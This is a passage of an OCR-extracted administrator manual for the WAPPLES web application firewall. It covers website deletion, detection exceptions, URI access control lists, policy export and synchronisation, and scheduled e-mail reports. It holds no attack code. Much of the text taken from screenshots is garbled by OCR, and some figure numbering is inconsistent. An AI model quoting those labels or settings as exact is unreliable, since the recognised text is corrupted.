{3 5. PCE-DSS Security Level Buffer Overfiow Il Detect buffer attack &% Enor cocke
@ 4. Advanced Security Level Cross Site Scrinting Il Do not permit script &7 Error cocke
8 EEEE Dirsctory Listing Il Prevent directory leakage &% Error code
{3 2. Basic Security Level
& 1. Detection Orly, Ho-block Error Handling 1 Block as 15t level %) Ertor code
8 0. Allpass withaut detection Extension Fitering Il Only secure extensionis alo... &%) Eror code
&7 Custom Policy File Upload 1 Prohiit fle upload &3 Enor code
il Include Injection Il Dstect file Include &%) Eror code
Input Content Fitering I Do notdetect =& Detection only
Invalid HTTP Il Block dangerous HTTP &z Disconnection
Irvalid URI Il Detect URI attack &) Error code —
TP Fitering I Do not detect =55 Detection only
Privacy File Fittering 1| Detect important personal in... &5 Eror code
Privacy Input Filtering 1/ Do not detect =5 Detection only
Privacy Output Filtering 1 Detect social 1D number =& Detection only
Request Header Fitering Il Detect basic worms &% Enor code
Renuest Mathnd Fitering Bl Permit serire renuast onl B0 Frror corde A
Rules excluded from batch setiing
Rule name Detection CountermeasLre
Cookie Paisoning I Do not detect =& Detection only
Parameter Tampering Il Detect falsification of param... =5 Detection only
Suspicious Access I Do not detect =55 Detection only
v

Fig. X1-17. Change Website Policy
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6. Delete Website

Expand the Policy part of the Policy List in [Fig. XI-15. Policy and Website
Setting (Website Context Menu)] screen to show websites, select the website to
delete, call the context menu and select [Delete Website...].

infromation

1 ) It bakes from a Few miunkes to a Few hours ko callect information For this website, Will vou collect information?

Fig. X1-18. Collect Information about Website to Delete Message

When you click [OK], WAPPLES will collect information about the website you
chose to delete(Fig. XI-19. Collecting Website Information).

Setting Wizard - (www.pentasecurity.com)

Remove Website
Confirm Setting

© Ifwebsiteis removed, then all configurations of the website deleted too. Click check box
below, if you delete configureations and detection logs.

Object : www.pentasecurity.com [ www.pentasecurity.com ]

Collecting info _._ation

Processing :

b

Fig. X1-19. Collecting Website Information

When the collection completes, the collected information will be displayed on the
screen as in [Fig. X1-20. Confirmation of Website Deletion]. Make sure it is the
site you decided to delete once again. If you check [Yes, Delete all information of
the website and detection logs.], all information of the website and the detection
log will be deleted from WAPPLES, and if you do not, only the website
information will be deleted and the detection logs will remain.
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Setting Wizard - (www. pentasecurity.com)

Remove Website
Canfirm Setting

© 1f website is removed, then all configurations of the website deleted toa. Click check box
below, if you delete configureations and detection logs.,

Object : www pentasecurity, com [ e, pentasecurity.com ]
* Murnber of detection logs 3317

* 0 anather name of website

* Murnber of exception handing URI O

* Murnber of Access managed URI O
[ res, Rermove all information of website with detection log,

Fig. X1-20. Confirmation of Website Deletion

@ When you delete a website, it will delete the corresponding website and
also all related data for dashboard. It is recommended that you back up the
site and related data in advance.

In case you delete website information, the logs about the deleted website will be
managed as unregistered website.

When you select [Unregistered Website], right click and select [Delete Website]
then you can select and delete the log you wish to delete.
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Setting Wizard - (unknown_host)

Remove Website
Confirm Setting

€ Delste log for selected Lnregistered website,

Ohiject @ Unknown Host [ unknowen_bost ]

* Murnber of detection logs 623 Host name :

* 0 another name of website
* Murnber of exception handing LRI O

* Murnbier of Access managed URL O

Fig. X1-21. Deletion of Unregistered Websites
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7. Change Detection Exception Setting

WAPPLES provides [Detection Exception Setting] feature that specifies the
traffic to except from detection depending on the individual characteristics of the
web server to protect. Using [Detection Exception Setting], the authorized
operator can configure website protection policies according to the characteristics
of the web server to protect.

Expand the policy part in the policy list in [Fig. XI 15. Policy and Website Setting
(Website Context Menu)] to show websites, select the website to change, call the
context menu and select [Website Exception Setting... ].

Configure Detection Exception Setting in [Fig. XI-22. Selection of Rule for
Detection Exception Setting]. The number under “Setting” column indicates the
number of URL excepted from detection in each rule.

Setting Wizard - (www. pentasecurity.com)

Website Detect Exception Setting
Select Rule

© solect Detection-excepted Object in Following Ttems.

Rule Marne Setting ”~
Buffer Overflom 0

Cookie Poisoning
Cross Site Scripting
Directory Listing
Error Handling
Extension Filtering
File Upload

IF Filtering

Temal i Temim mkioim

u T e T e R e IR o TR o TR o R

Cancel

Fig. X1-22. Selection of Rule for Detection Exception Setting

When you select a rule and click [Next], a screen as represented in [Fig. XI-23.
Detection Exception Setting by Rule] will appear.

Enter URI to except in the URI field and IP domain in the IP field and click [Add]
to add exceptions. The exception setting is configured with the combination of
URI and IP. IP can be provided as IP/Netmask. If the last character of the URL to
except is ‘/’ then all URLs subordinate to the given URL will be excluded from
detection at the same time. For other characters, only the specified URL will be
excluded from detection.

7. Details of the WAPPLES Rules 302



When you select an item in the exception list, the selected item will be displayed
in URI/IP fields. You can select the list and click [Edit] to modify the contents or
[Delete] to delete the item.

Setting Wizard - (www. pentasecurity.com)

Website Detect Exception Setting

Cookie Poisoning
© &dd, Edit or Delete URI to except detection for that Rule,

uRl |/ L[ Add

P Edit
Delete
Excepted LRI P
ftest
[ Cancel ] [ < Back ] [ Mext =

Fig. X1-23. Detection Exception Setting by Rule
When you click [Next] after setting the list of exceptions, a confirmation window

as in [Fig. XI-24. Completion of Detection Exception Setting] will appear. Click
[OK] to complete detection exception setting.
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Setting Wizard - (www. pentasecurity.com)

Website Detect Exceptoin Setting
Confirm Setting

© ik ‘Complete’ to save folowing Setting.

Added URT: 1
Modified URI: 3

Deleted LRI: 0

[ Cancel ] [ = Back ] [ Confirm

Fig. X1-24. Completion of Detection Exception Setting
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8. Edit URI Access Control List

WAPPLES’s operation is closely related with URI Access Control. If the security
level is set to “Detect” in URI Access Control rule, WAPPLES will identify and
detect all traffics that requesting the URI which is not registered to URI access
control list as illegal.

The URIs registered to URI access control list have attributes of “Public” or
“Private.” If a URI is set to [Public], all users will have the permission to access
the URL and [Private], the access permission will be given to [Reliable IP]
registered through [Add and Edit Website] only.

Use “Edit URI Access Control List” feature as follows. Expand the Policy part of
the Policy List of [Fig. XI 15. Policy and Website Setting (Website Context
Menu)] to show websites, select the site to delete, call the context menu, and
select [Edit Website URI Access Control List...] to bring out URI access control
list management window as in [Fig. XI-25. URI Access Control List (1)].

The URI access control list management screen can be divided into the search
and add area on the top and the list on the bottom. You can search URI of the
required part by entering keyword in the URI input field and selecting [Public],
[Private], or [Broken Link] checkboxes and pressing [Search].

[Restrict] column of the URI list indicates whether the corresponding URI is a
public page, public directory page, private page, or private directory page. When
you place the cursor on the icon under the column, the information of the public
page, public directory page, private page, or private directory page of the
corresponding URI will be displayed.

[Broken Link] indicates that the web page is deleted or renamed while operating
the web server that the URI in the URI Access Control List does not match the
URI of the website, and it will be indicated with Ed icon under [Broken Link]
column. In fact, if the web page is no longer managed by the web server, you can
remove the URI under [Broken Link] using the “Delete” feature on the context
menu.

There are two ways to register URI to URI Access Control List. You can enter the
URI in the input field and click [Add] or you can click [Load URI File...] to
make a file containing the list of URIs directly searched in the web server and
register them in a batch.

When the URI you registered ends with </*’, it will be basically registered as
public directory page and if not, it will be registered as a public webpage. For
registered URIs you can right click on the URI from the URI list to bring out the
context menu to modify.
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@ If the character at the end of URI is ¢/*’, this indicates that it includes all
URIs subordinated to the specified URI and it will be registered as an
open directory page. When you register the URI, “** will not be
registered.

Setting Wizard will display the following error messages when the access granted
URI specified by the operator has error.

Table 91. Error Message for URI Access Control

Error Message Cause

The URI you specified already exists in
the list when you add a URI to the URI
access control list.

The URI you entered has
already been registered.

If you want to search registered URIs, enter URI to search in the URI input field
and click [Search] to see the search result in the list.

Setting Wizard - (192.168.3.153)

Web site URI Access management
Accessible URT list
© Manage accessible URL list. URI can be added directly and be modified or deleted after
selected, You can execute specification setting of the URI after searching list and clicking
tight-side button
URI |/ [ add J[search](  oOpenuURIFle.. |
Cpen ] Closed [#] Broken Connection whole Number of Items |11 page +
LRI Restr... |Broken Co...
! U
fimg/bottom_dotline. gif ]
firngfbox_b_left.gif b
firng/box_b_right. gif (U] 2
ar ) 5 »

Fig. X1-25. URI Access Control List (1)

As seen from [Fig. X1-26. Context Menu of URI Access Control List], you can
right click on the list of searched URIs to bring out the context menu to change
the URI to [Public Page]/[Private Page]/[Public Directory Page]/[Private
Directory Page] or delete URI by selecting [Delete from List].

8. Details of the WAPPLES Rules 306




Setting Wizard - (192.168.3.153)

Web site URI Access management

Arcessible URT list

© Manage accessible URL list. URI can be added directly and be modified or deleted after
selected, You can execute specification setting of the URI after searching list and clicking

tight-side button

URI |/ [ add |[search]  OpenURIFle.. |
Cpen [#] Closed [#] Broken Connection whale Number of Items | 1/1 page v
LRI Restr... |Broken Ca...
! Yy =
Jfimg/bottorm_dotline gif h
/img/box_b_left.gif set as closed page __-
fimafbox_b_right, gif %) 2
ST i - | &

Delete Fram list

Fig. X1-26. Context Menu of URI Access Control List

To restrict the access to the URI which was learned through or added from the
website from the list, right click on the URI to bring out the context menu, and

select [Set to Private Page].

In case the URI ends with [/] and you wish to restrict the access to all subordinate
URISs, select [Set to Private Directory Page].

Public/Private/Public Directory/Private Directory pages are indicated with icons
and when you place cursor on the icon, it will display the description of the icon.
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Setting Wizard - (192.168.3.153)

Web site URI Access management
Accessible LRI list

© Manage accessible URL list. URI can be added directly and be modified or deleted after
selected, You can execute specification setting of the URL after searching list and clicking
right-side button

URI |/ [ add J(search]  openURIFle.. |
Cpen [v] Closed [+] Broken Connection wwhole Number of Items |11 page
IURI Restr... Broken Ca...
! o -
fimafbottom_dotline, aif %)
= -Publlc page
fimafbox_b_left.gif m
fimafboe_b_right,oif %) 3
< imw ' - | &

Fig. X1-27. URI Access Control List (URI Access Management Attribute)

Click [Next] in [Fig. XI-27. URI Access Control List (URI Access Management
Attribute)] and check the content configured in [Fig. XI-28. Check URI Access
Control List] and export the list of learned URI into a file. Click [OK] to finish
editing the URI Access Control List.

Setting Wizard - (192.168.3.153)

Website URI access management
Confirmn Setting

© To:ave following contents, dick "Confirm” |
closed page 2 Send LRI Fila...
Cipen Page : 19
Closed directory 0
open directory ]
[ Cancel ] [ < previous ] [ Confirrn

Fig. X1-28. Check URI Access Control List

8. Details of the WAPPLES Rules 308



9. Import/Export Policy and Website

The policy and website importation and exportation feature of WAPPLES can
save or load the information about security policy and website managed by the
policy view of the toolbar. To use this feature, right click on an empty space of

the

[Policy Tree] layout of [Fig. XI-29. Policy and Website Setting Wizard

(Export and Import) (Export and Import)] to bring up a tooltip window including
[Export Policy or Website] and [Import Policy or Website] menus, and choose
either one of the following.

Export Policy or Website

When you click [Export Policy or Website], a wizard will appear for you to
save a file. Enter the file name and click [Save] to save current [Policy and
Website] to a file.

Import Policy or Website

When you click [Import Policy or Website], a wizard will appear for you to
load an environment setting file. Select the file to apply policy and website
that were previously exported.

[ WAPPLES Management Console DEx

©

G

T lp E f = Wehsites e
N g B (& : &
warms>  AddTab | Detectionlog Dashboad  Audtlog Montoing  Poicy  Repart aerod b= Setting Wizard
I you expand 2 policy item, websites to use the policy are diplayed, =
After selerting any policy or website, the right buttan of mouse, you can choase a configuration function for sach item,
Listof Security Policies and Websites
Policy Name  custom Faiicy
add paliy.. | [ Add webste..
Batch setting v
6. allblack Rule name: Detection Countermeasure ~
{ 5. PCI-DSS Securiy Level Irvvalid HTTP 1l Block dangerous HTTP x Disconnection
8 4. Advanced Security Level Trwalid URI Il Detect URI attack &7 Error cods
=@ 3. Standard Security Level IP Filtering Il Donotdstect =& Detection anly
[sikang]Unvegistered website: . ; .
B Secrty Lovel Privacy File Fitering 11| Detect important personalin... &% Emar code
Detection Orly, No-black Privacy Input Filtering 11 Do notdetect == Detection only
All-pass without detection Privacy Output Filtering 11 Detect social ID number =5 Detection only
Request Headsr Filtering Il Detect basic worms &7 Error code
Request Method Filtering Il Permiit secure request anly &5 Error code
Response Healer Fitering 1l Prevent server information le... <& Detection only
SQL Injection Il Detect extended SQL Injecti... &% Enar code
Stealth Commanding Il Standard sstting &%) Ermor code
Uriicode Directory Traversal Il Standlard setting &%) Ermor code
URT Access Control 11! Do not detect &2 Learn &= Detaction anly
User Defined Pattern 1l Donotdetect == Detection only
Wehsite Defacement 1l Donotdetect =&+ Detection only
[E% 1mport policy or web site. &
Rules frombatch setting
Rule name: Detection Countermeasure
Cookie Poisoring Il Donotdetect =5 Detection only
Pararnater Tampering Il Detect fakification of param... =2 Detection only
Suspicious ACcess Il Donotdetect =5 Detection only
v

Fig.

XI1-29. Policy and Website Setting Wizard (Export and Import)
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10. Policy and Log Synchronization

When you finish configuring [Policy & Log Synchronization] you will see
"Policy/Log Synchronization (PLS) Mode Activated" message on the title line of
the management tool. (Fig. 152) The policy synchronization feature of the policy
is enabled in this state. WAPPLES’s Policy/Log Synchronization (PLS) feature is
used to synchronize policy and detection logs between two different WAPPLES.
When the settings for Policy/Log Synchronization are configured, you will see
[Policy/Log Synchronization (PLS) Mode Activated] message on the title line of
[Fig. X1-30. Policy Synchronization]. The policy synchronization feature of the
policy is enabled in this state. For [Policy & Log Synchronization] setting, refer
to [XI11.1.10 Policy & Log Synchronization].

[2]192.168.3.154 - WAPPLES Management Consoli Policy/Log sync(PLS) mode is running.

A lp ' g=b Websites &,
N oG s : &
wamPLES Add Tab | Detection Log Dashboard  Audit Log  Menitoring | Policy Report g L= Setting Wizard
et up policy and website =
© 1fyouespand a policy kem, websites to use the policy are diplayed.
After selecting any policy or websike, the right button of mouse, you can choose a configuration function for each item.
Listof Security Policies and Websites
Policy Name 2, Basic Security Level
AcdPolicy... | [ Add websie... | s o]
& 6. All-black. Rulle name: Detection CountermeasLire ~
5. PCI-DS5 Security Level EBuffer Overfiow =254 Custom setting =55 Detection only
4, Advanced Security Level Cross Site Scripting 54 Custom setting 55 Detection only
@@ 3. Standard Security Level Directory Listing Il Prevent drectary leskage &9 Eror code
[sikang]Unregistered website
= Error Handling 11| Block as 1st level =5 Detection only
 Detaction Orly, No-block Extension Filtering 1l Oriy secure extension is alo... %8 Detection only
. All-pass without detection File Uploadt I Prohibit fie upload 5= Detection only
Cuskom Palicy Tnclude Injection Il Dorotdstect =5 Detection only
192,168 3.153f Input Cantent Filtering I Donotdetect 5= Detection only
Invalid HTTP Il Block dangerous HTTR 83 Disconnection
Tnvalid LRI Il Detect URI attack =5 Detection only
1P Filtering I Do ot detect =5 Detection only
Privacy File Filtering I'| Detect important personal in... 53 Detection only
Privacy Input Filtering 10! Do not detect =5 Detection only
Privacy Output Filtering 1| Do rot detect <& Detection only
Request Header Filtering Il Dorotdstect =5 Detection only
Ren mst Mathind Filtaring I perrrit serire ramest nink 8= Datartion only )
Rules excluded from batch setting
RLle name Detection Countermeasure
Cookie Poisoning Il Donotdetect =B Detection only
Parameter Tampering I Donotdetect 5= Detection only
Suspicious Access 11! Do not detect =5 Detection only
v

Fig. X1-30. Policy Synchronization

® Policy Synchronization
When you click [Policy] -> [Policy Synchronization], the system will
initialize policy synchronization. WAPPLES console will disappear and [Fig.
XI1-31. Initialization of Policy/Log Synchronization] will appear temporarily.
When the synchronization completes, the console will appear again.

When you activate policy synchronization, you will be able to check statuses
related with synchronization on the bottom side of [System Status] screen of

the toolbar.
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Please wait a second.

Fig. X1-31. Initialization of Policy/Log Synchronization
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1.Administrator Report
2.Sending Report Mail
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XII. Report

WAPPLES report provides the administrator the information about current
settings of WAPPLES and the log statistics of intrusions detected within the

predetermined period.

Click [Report] in the toolbar of WAPPLES management tool then you will see
the “Report Setting” window as in [Fig. XII-1. Report Setting].

Settingthe report

@ Administrator report

Sending the report
Oto web site administrator,

WAPPLED Report

© Select administrator report or sending the report to web site administrator,

4

Read WAPPLES administrator report

4

—~p

Send the report to web site administrator
=

Fig. XI1-1. Report Setting

You can specify the title of the report, receiver, and author in the “Report Setting”
window. The preview of the cover page reflecting changes in real time will
appear on the right side of the “Update Setting” window.
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1. Administrator Report

Select administrator report and click [Next] and you will see the “Report Setting”
screen as in [Fig. XII-2. Report Setting Screen].

Report setting

WAPPLED Report

© Type value of report setting

Mame : wieh Application Fireweal
WAPPLES Repart web Application Firewall
WAPPLES Report
Receiver : |Penta Security Systems |
Wiiter |Penta Security Systems |
Period : [ 1 mao. ] [ 3 ma, I [ & ma, ] [ 1yr, ]

From | 8/15/2010 v |To | gjis/2010 v

Logo of writer : [ Register logo ] [ Remaove logo ]
Recormmended size of writer's logo image Wikar s Perts Searey Sutnen
1 400 * 100 Wirktan tew < IKI0I0
If period setting is set as ‘from today’,
data which is range from now to at most & PentassuiTy

1 hour befare will be shown,

Cloze ][ < Back ] [ Canfirm

Fig. XI1-2. Report Setting Screen

You can specify the title of the report, receiver, and author in the “Report Setting”
window. The preview of the cover page reflecting changes in real time will
appear on the right.

Report setting can be divided into two areas.
@ Report Cover Setting

@© Report Detection Period Setting

1.1 Report Cover Setting

You can create the cover for the report using “Set Report Cover.”

® Title: Specify the title of report.
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Receiver: Specify the name of the receiver.
Author: Specify the name of the person who wrote the report.

Logo Image: The logo image will be placed on the top right corner of
the report. Add or delete the image using [Add Image] and [Delete
Image].

1.2 Report Detection Period

Set detection period for data to appear on the report.

® Period: Adjust report detection period with the period button and date
entry.

1.3 Report Menu

After you complete report setting and press [OK], [Fig. XII-3. Report] will
appear on the screen.

[ WAPPLES REPORT E@@

1 of 15 b bl | [#] | 2 A - | Page width - J

Web Application
Firewall
WAPPLES Report

Fig. X11-3. Report

You can edit the report using the report menu toolbar on the top side of the
WAPPLES Report window.
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01 Report Menu Toolbar

1 af 15 b Bl |12 | S 12 00 ke | Page width -

Fig. X11-4. Report Menu Toolbar

) Press this button to move from current page to the first page of
the report.
) Press this button to move to the previous page.
g :
) Press this button to move to the next page.
| .
) Press this button to move from current page to the last page of the
report.
1 f 13
® Shows page numbers of the current report.
2] o
) Refresh button initializes the report.

=

o " Click Print button to print out the report.
° "J Click Print Layout button to see how the report will be printed on
the paper. In Print Layout screen, search feature is not supported.
W : .
® Page Setting button sets spaces on the page to be printed.
® "H Use Export button to save the report in the Excel, and Acrobat
(PDF) format.

o  PageWidth T Adjust page width to adjust the report window.

) Enter the character string to find in the report and click “Find”

button to find the string. Use “Next” button to find another
match.
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1.4 Report Content

The report is comprised of the following content.
1. WAPPLES Summary Report

1.1 Intrusion Analysis Summary

1.2 Detection Log Statistics Summary

2. WAPPLES Policy Status
01 WAPPLES Summary Report
WAPPLES Summary Report includes the analysis summary of intrusions

detected by WAPPLES and the statistics summary of detection logs recorded
within the period specified by the user.

@ Intrusion Analysis Summary

Intrusion Analysis Summary shows the address of the web servers currently
registered to and protected by WAPPLES and the detection statistics information
WAPPLES rule.

Detection Log Statistics Summary

Detection Log Statistics Summary shows the following information through the
logs detected during the detection period.

® Distribution of Intrusion Detection by Site
Shows detection log for each site in graph and chart

®  Statistics of Intrusion Detection by Site
Shows the detection frequency and rate for each rule in each site in charts

® WAPPLES Intrusion Detection Statistics Graph by Period
Shows the number of intrusions detected by WAPPLES in each period
specified based on a fixed standard.

® Detection Exception
Shows detection exceptions in each site specified by the administrator.

02 WAPPLES Policy Status

It shows the status of WAPPLES policy that the administrator currently
configured. Based on policy’s name, it shows the detection method and
countermeasure for detection rules applied to the policy and the site to which
corresponding policy was applied.
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2. Send Report E-Mail

WAPPLES provides the feature that sends a report to the website administrator
through e-mail. E-mail is sent either automatically or manually.

WAPPLED Report

Selecttransmission of report e-mail,

© Select sending e-mail immediately or automatic setting of sending e-mail,

=
Set function which sends report

© Send e-mail automatically ., toweb site administrator automatically,

~ Send WAPPLES report

O Send e-mail immediately ___ to web site administrator right now

WAPPLES Agent

To send report to web site administrator automatically,
WAPPLES Agent should be installed in your desktop, Installation
After installation, WAPPLES Agent will be executed automatically

[ Cancel ][ < Back ][ Next > ]

Fig. X11-5. Send Report to Website Administrator

2.1 Send E-Mail Automatically

“Send E-Mail Automatically” configures the feature that automatically sends the
report to the website administrator. To automatically send the e-mail, select “Send
E-Mail Automatically” in [Fig. XII-5. Send Report to Website Administrator] and
click [Next]. Then you will see a screen as in [Fig. XII-6. Send E-Mail
Automatically Enter E-Mail Content].
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01 Enter E-Mail Content

WAPPLED Report

IWrite oute-mail contents sentautomatically
© You can add department, and name of website administrator using button,
Writer of report |Penta Security \
MName of web site administrator = Web site administrator deparment l

Subject ({0} i
Contents [ i

[

|

[ Cancel ] [ < Back ] [ Next >

Fig. XI1-6. Send E-Mail Automatically Enter E-Mail Content

“Enter E-Mail Content” window provides the content field to enter the content of
the e-mail to send automatically.

Writer of report: Enter the name of the author of the report file
attached to the e-mail.

Subject: Enter the title of the e-mail to be sent automatically
Contents: Enter the content of the e-mail to be sent automatically

E-Mail Toolbar: Helps you to enter e-mail content

gl MOIE eI OIE o FADIE ZElA 2

S

TERVEER

Fig. XI1-7. E-Mail Toolbar

When you press “Name of Website Administrator”, a character string,
{0}, will be added to the subject or content of the e-mail you are
preparing. This character string will be automatically converted to the
name of the administrator receiving the e-mail.

When you press “Department of Website Administrator”, a character
string, {1}, will be added to the subject or content of the e-mail you are
preparing. This character string will be automatically converted to the
department of the administrator receiving the e-mail.
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® |f click [Preview] to preview the e-mail, you can check that [0] is
changed to the name of website administrator, and [1] is changed to the
department of website administrator in [Fig. XI1-8. E-mail Preview]. To
finish previewing, click Close preview tap.

[ 2o =23

WARPPLED Report

Hg = |°._“36H\1I§ 2R ZE

W HE  [FAS HELAREE ALY 225 2HE0| 2715 QLI

[ #12 J[ <o® |[ s> |

Fig. X11-9. E-mail Preview

Sender and Subject fields must be provided. After you enter necessary
information and click [Next], you will see the window for setting report
transmission period as in [Fig. XII1-10. Send E-Mail Automatically — Report
Transmission Period].

@ The information of the website administrator is based on the information
given to the account management section of the Setting Wizard.
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02 Report Transmission Period Setting

WAPPLED Report

Setreport mail as sending automatically,
© Send autornatically to all of web site administrator of list
For each transmission period, report will be attached to measure of transmission period from the standard d

Set transmission of normal report period Set transmission of special report period

[¥]5end reparts For each quarters,

Period of transmission Every day “w

sek the basic date [[I5end reports for each & months.

[[]send reparts For each years.

List of web site administrator

1o} MName Department E-mail
tijung Taejoon Penta Security  fijung@penta,,,

[ Cancel ][ < Back ][ Finish

Fig. X11-10. Send E-Mail Automatically — Report Transmission Period

The report supported by “Send E-Mail Automatically” feature is divided into
general report and special report. After you configure settings for “Send E-mail
Automatically”, click [Finish] to save settings.

® General Report Transmission Period Setting

For general report, the transmission period set for the report attached to the e-mail
becomes the transmission cycle. General reports will be automatically transmitted
on the transmission date when WAPPLES’s management tool is operating. For
example, if the transmission cycle is set to every week and transmission date is
set to Wednesday, the e-mail will be transmitted only when the management tool
of WAPPLES is operating on Wednesday. However, the mail will not be
transmitted when WAPPLES’s management tool is not operating on the
transmission date.

® Special Report Transmission Period Setting
Special report is the report attached to the email with special period setting.

Unlike general report, special report with the report will be transmitted even
when WAPPLES is operated after the transmission date.

® Quarterly Report Transmission: Transmits e-mail with quarterly report.
1* Quarter Report: Transmission date — April 1

2" Quarter Report: Transmission date — July 1
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3" Quarter Report: Transmission date — October 1
4™ Quarter Report: Transmission date — January 1

® Half Yearly Report Transmission: Transmits e-mail with half yearly
report.
First Half Report: Transmission date — July 1

Second Half Report: Transmission date — January 1

® Annual Report Transmission: Transmits e-mail with annual report.
Annual Report: Basic transmission date — January 1

@ Automatic E-Mail Transmission feature will be activated when the
management tool is operating.

2.2 Send E-Mail Immediately

Send E-Mail Directly feature sends the report to the website administrator right
away. To automatically send e-mail, select “Send E-Mail Immediately” from [Fig.
X11-5. Send Report to Website Administrator] and press [Next]. You will see the
screen as in [Fig. XI1-11. Send E-Mail Immediately — Enter E-Mail Content].
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01 Enter E-Mail Content

WAPPLED Report

Write oute-mail contents now,
€ vou can add department. and name of website administrator using button,

Writer of report |Mr. Kim |

Mame of web site administrator - Web site administrator deparment ]

Subject |T0 Web site Adrinistor {0} |

Cantents We send to WAPPLES log to {1}

[ Cancel ][ < Back ][ st >

Fig. X11-11. Send E-Mail Immediately — Enter E-Mail Content

“Enter E-Mail Content” window provides the content field to manually enter the
content of the e-mail to send. For details about entering e-mail content, refer to
[Enter E-Mail Content]. Enter the content of e-mail and click [Next]. You will see
[Fig. X11-12. Send E-Mail Immediately —].
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02 Select the Receiver of Report

B9=E3
1

WAPPLED Report

© Send an e-mail to the chosen administrator of list,
Using button, vou can send an e-mail to administrator,
Report applied with report period setting will be attached to e-rnail

Set period of the attached report

Period : [ 1mo. | [Emo. ] [emo. | (1w ] | sitsiz010 v [from | sp15fz010 |10

List of web site administrator

Select ] Mame Departrnent E-rnail 8 .
O tijiung Taejoon Penta Security  tiung@penta,,, 4a Send email
O

krnnam Kyungrnoon Penta Security  kmnam@pent,,,
= Preview
E'.\ report

|~
|

[ Cancel ][ < Back ][ close

Fig. X11-12. Send E-Mail Immediately — Send
You can set the period for the report attached to the e-mail and use “Send E-Mail”
button to send the mail to the website administrator you selected.

® Send email: The e-mail containing the report will be sent to the
administrators selected with the check mark on the list.

® Preview report: You can preview the report the website administrator
will receive. If you have selected more than 1 administrator, the reports
going to each administrator will appear on the screen.

After sending the e-mail, click “Close” to close the screen.

2.3 WAPPLES Agent

When you run WAPPLES management tool, it will automatically start WAPPLES
Agent. WAPPLES Agent will periodically generate a report according to the
report transmission cycle determined in the WAPPLES management tool and
uploads the report to WAPPLES.
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0 Send Report (WAPPLES = SMTP)
WAPPLES 2 User

Download
0 ownioa \, )\ 9Up|oad Report

Data

WAPPLES Agent

9 Create Report (Client)

Fig. X11-13. WAPPLES Agent Operation Map

WAPPLES Agent downloads the data required for creating a report from
WAPPLES, creates a report in client’s PC (Administrator’s PC), and uploads the
report to WAPPLES.

Currently, WAPPLES Agent operates in 1 administrator’s PC and this feature will
be extended to enable report transmission from many administrators’ PCs later.

01 Installation
Install WAPPLES Agent using the management tool.

Start Management Tool - Report > Send Report to Website Administrator >
Install
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WAPPLED Report

Selecttransmission of reporte-mail,

© Select sending e-mail immediately or automatic setting of sending e-mail,

Set function which sends report

O Send e-mail automatically to web site administrator autornatically,

—p

~ Send WAPPLES report

® Send e-mail immediately 18 to web site administrator right now

WAPPLES Agent

To send report to web site administrator autornatically,
WaPPLES Agent should be installed in wour desktop, Inctallation
After installation, WAPPLES Agent will be executed automatically

Cancel ][ < Back ][ Mext > ]

Fig. X11-14. WAPPLES Agent - Install

The installation folder is c:\WAPPLES\Agent. Installation drive is the system
drive. If Windows is installed to D drive, the installation folder will be
D:\WAPPLES\Agent.

When the installation completes,

C:\Wapples\Agent\WapplesAgent.exe will be executed automatically.

02 Initial Screen

The initial status of the agent is “Activated.”

WAPPLES Report Mailing Service is run.

WO U aETE 411 am

Fig. XI1-15. Agent Activated in the Tray

A window to enter WAPPLES information will appear in order to use WAPPLES
Report Mailing Service.
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MW WAPPLES information input window @

Type information of WAPPLES.

Type administrator's |0 and pazsword when
youl log in WAPFLES management toal,

WHFPLES 1P |
D |

Pazsword |

| Cancel

Fig. X11-16. WAPPLES Information Input Window

Enter the information of WAPPLES to serve

WaPPLES Agent informatiar. ..

Stop Report Mailing Service

Run WAPPLES Management console
Close

Fig. X11-17. Tray Menu

03 WAPPLES Agent Information

W Information of WAPLES Agent

X

WAPPLES dgent

Copenight[C] Penta Secunty Systemsz [he.

Fig. X11-18. WAPPLES Agent Information Window
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04 start Report Mailing Service

Report Mailing Service window will appear if WAPPLES is registered.

W Report Mailing Service

WAPPLES Report Mailing Service is starting.

To execute thiz zervice, it iz neceszzary to check the authority of manager.
Type administrator's 1D and pazsword when pou log in WAPPLES
managerment toal,

WAPPLES 1P|
D I |

Fazswaord | Cancel |

Fig. X11-19. Report Mailing Service Start Window

If the information you provided is incorrect, the following window will appear.

WAPPLES Agent

onnection information is wrong,
Cannot start service, Please try again,

Fig. X11-20. Report Mailing Service Starting Failure Message
If WAPPLES is not registered, the service will start without showing any window.

When the service starts normally, it will turn to the status shown in [Fig. 1.
Report Mailing Service ] Report Mailing Service window will appear.
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05 Stop Report Mailing Service

W Report Mailing Service

WAPPLES Report Mailing Service is stopping.

To execute thiz zervice, it iz neceszzary to check the authority of manager.
Type administrator's 1D and pazsword when pou log in WAPPLES
managerment toal,

WAPPLES 1P|

D | |

Fazswaord | Cancel |

Fig. X11-21. Report Mailing Service Stop Window

If the information you provided is incorrect, the following window will appear.

WAPPLES Agent

onnection information is wrong. Cannok stop service,
Please try again,

Fig. X11-22. Report Mailing Service Stop Failure Message

If WAPPLES is not registered, the service will stop without showing any window.

Fepaort Mailing Service is stopped,

P L A EDE 414 am

Fig. X11-23. Report Mailing Service Stop

06 Start WAPPLES Management Tool

Start Management Tool with the registered WAPPLES information.
No window will appear if registered WAPPLES information is not available.

2. Details of the WAPPLES Rules 329



07 Termination

If there is a registered WAPPLES, an information input window will appear in
order to confirm authority [Fig. 2].

When the authority is not confirmed, the following message will appear and it
will not be terminated.

WAPPLES Agent

Conneckion information is wrong, Cannot close progra,
Please try again.

Fig. X11-24. WAPPLES Agent Termination Failure Message

If no WAPPLES is registered, it will be terminated without confirming authority.
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XIII. Setting Wizard

Most settings of WAPPLES management tool can be made through wizards.
Wizards are designed to help the user to easily configure the information security
product which usually is complicated. You can easily configure all items by
following Setting Wizard excluding items related with WAPPLES Management
Port IP.

Setting wizard is comprised of the following.

Table 5 Setting Wizard Structure

Category Sub Category

Account management
Backup setting
Console Audit & Lock
Log Transmission
IP-Block
Update
{‘? Management Setting P(_)Iicy & Log Synchronization
License
Pattern repository
Time synchronization
IP/Port access control
E-mail

- WAPPLES service port setting

o
<

Management of web servers protected by

¥ i
Network Setting WAPPLES

You can start the setting wizard by clicking [Setting Wizard] on the top right side
of WAPPLES main window after you log on to WAPPLES Management Tool.
The Setting Wizard will appear as in [Fig. X111-1. Setting Wizard - Main] and you
can select [Operation Settings]/[Network Setting] and click [Next] to move to the
subcategory.
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Setting Wizard

Setting Wizard

Select an itemn for setting

© select anitem for setting

Operation Settings Network Settings
Settings for audit, Settings for WAPPLES and
interworking and update network configuration

P

Cancel

Fig. X111-1. Setting Wizard - Main

1. Operation Settings

